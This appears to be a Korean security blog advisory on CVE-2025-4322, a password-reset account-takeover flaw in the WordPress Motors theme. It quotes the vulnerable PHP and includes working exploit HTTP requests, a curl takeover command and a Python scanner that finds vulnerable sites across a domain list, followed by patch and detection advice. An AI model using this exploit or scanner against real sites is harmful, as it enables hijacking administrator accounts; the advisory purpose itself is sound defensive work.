1. WordPress Motors 테마

- 자동차 관련 웹사이트에서 널리 사용되는 테마 [1]

2. 취약점

[사진 1] CVE-2025-4322 [2]

- Motors 테마가 비밀번호를 업데이트하기 전에 사용자의 신원을 적절히 검증하지 못해 발생하는 계정 탈취를 통한 권한 상승 취약점 (CVSS: 9.8)

영향받는 버전
- Motors 테마 5.6.67 이하 버전

 

- Login Register 위젯에는 password-recovery.php 테마의 탬플릿 파일과 아래 코드가 포함되어 있음 [3]

> 사용자 요청에서 user_idhash_check 파라미터의 값이 모두 있을 경우 password-recovery.php 템플릿 호출

<div class="stm-login-register-form">
    <?php if ( ! empty( $_GET['user_id'] ) && ! empty( $_GET['hash_check'] ) ) : // phpcs:ignore WordPress.Security.NonceVerification.Recommended ?>
        <?php get_template_part( 'partials/user/private/password', 'recovery' ); ?>
    <?php endif; ?>

 

- password-recovery.php 템플릿에는 비밀번호 업데이트를 처리하는 코드가 포함되어 있음

> 사용자로 부터 전달받은 hash_check 값($user_hash_check)과 서버 설정 값 $user_hash를 비교하여 일치하는 경우

> stm_new_password 값으로 비밀번호를 업데이트

<?php
$user_id_get = intval($_GET['user_id']);
$user_hash_check = esc_attr($_GET['hash_check']);
$message = '';
$error = false;
 
$user_exist = get_user_by('id', $user_id_get);
 
if(!$user_exist) {
    $error = true;
}
 
$user_hash = get_the_author_meta('stm_lost_password_hash',$user_id_get);
if($user_hash !== $user_hash_check) {
    $error = true;
}
 
if(!empty($_POST['stm_new_password']) and !$error) {
    $new_password = stm_motors_sanitize_text_field($_POST['stm_new_password']);
    wp_set_password($new_password, $user_id_get);

 

- 공격자는 조작된 hash_check 값을 전달함으로써 사용자 검증을 우회하고 비밀번호를 임의로 재설정할 수 있음

① 공격자는 조작된 hash_check 값 (잘못된 UTF-8문자 : %C0, %80 등) 전달

> Login Register 위젯에서의 검사를 통과하여 password-recovery.php 템플릿 접근

 

② 조작된 hash_check 값은 esc_attr()로 잘못 필터링 되어 제거됨

> 필터링 된 값은 $user_hash_check 저장

 

③ $user_hash_check 값과 $user_hash 값을 비교

> 두 값의 !== 연산 결과 false가 되어 if문 통과

 

④ stm_new_password 매개변수로 전달한 값으로 비밀번호 재설정

> 접근 권한을 얻은 후 관리자로 로그인 및 지속성을 위해 새로운 관리자 계정 생성

POST /index.php/login-register/?user_id=3&hash_check=%80 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
 
stm_new_password=Testtest123%21%40%23

3. PoC

- 취약점 스캔 PoC [4]

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import threading

lock = threading.Lock()

with open("list.txt") as f:
    domains = [line.strip().replace("http://", "").replace("https://", "") for line in f if line.strip()]

login_paths = [
    "/login",
    "/loginregister",
    "/login-register",
    "/my-account",
    "/account",
    "/signin",
    "/sign-in",
    "/register",
    "/auth",
    "/user/login",
    "/user/signin",
    "/forgot-password",
    "/reset-password"
]

def check_login_form(full_url):
    try:
        res = requests.get(full_url, timeout=10, verify=False)
        if res.status_code == 200 and "stm-login-form" in res.text:
            return True
    except:
        pass
    return False

def process_domain(domain):
    checked = set()
    base_url = f"https://{domain}"
    try:
        r = requests.get(base_url, timeout=10, verify=False)
        if r.status_code != 200:
            return
        soup = BeautifulSoup(r.text, "html.parser")

        if "stm-login-form" in r.text:
            print(f"[✅] {domain} → found at homepage")
            with lock:
                with open("result.txt", "a") as f:
                    f.write(domain + "\n")
            return

        hrefs = set()
        for a in soup.find_all("a", href=True):
            href = a["href"]
            if any(kw in href.lower() for kw in ["login", "register", "account", "signin", "forgot", "reset"]):
                full_href = urljoin(base_url, href)
                hrefs.add(full_href)

        for path in login_paths:
            hrefs.add(urljoin(base_url, path))

        for link in hrefs:
            normalized = urlparse(link)._replace(query="", fragment="").geturl()
            if normalized in checked:
                continue
            checked.add(normalized)
            if check_login_form(normalized):
                print(f"[✅] {domain} → found at {normalized}")
                with lock:
                    with open("result.txt", "a") as f:
                        f.write(domain + "\n")
                break
    except Exception as e:
        print(f"[⚠️] {domain} → error: {e}")

print(f"[🚀] ready to check {len(domains)} domain...")

with ThreadPoolExecutor(max_workers=20) as executor:
    executor.map(process_domain, domains)

print(f"[✔️] Done. all valid result at result.txt")

 

curl "https://local.ization/loginregister/?user_id=2&hash_check=%C0" --data "stm_new_password=randomizer" -XPOST -v -H 'User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Mobile Safari/537.36'

4. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-4322 Motors 테마 5.6.67 이하 5.6.68

 

- 침해지표 또는 탐지룰 적용 [7]

 

- 웹 사이트 관리자 로그를 분석하여 비정상적인 요청 또는 계정 생성 여부 확인

- 사용자 및 관리자 비밀번호 재설정, 2단계 인증 활성화

5. 참고

[1] https://themeforest.net/item/motors-automotive-cars-vehicle-boat-dealership-classifieds-wordpress-theme/13987211
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-4322
[3] https://www.wordfence.com/blog/2025/05/22000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-motors-wordpress-theme
[4] https://github.com/Yucaerin/CVE-2025-4322
[5] https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/motors/motors-5667-unauthenticated-privilege-escalation-via-password-updateaccount-takeover
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71776&menuNo=205020
[7] https://www.wordfence.com/blog/2025/06/attackers-actively-exploiting-critical-vulnerability-in-motors-theme
[8] https://www.dailysecu.com/news/articleView.html?idxno=167203

+ Recent posts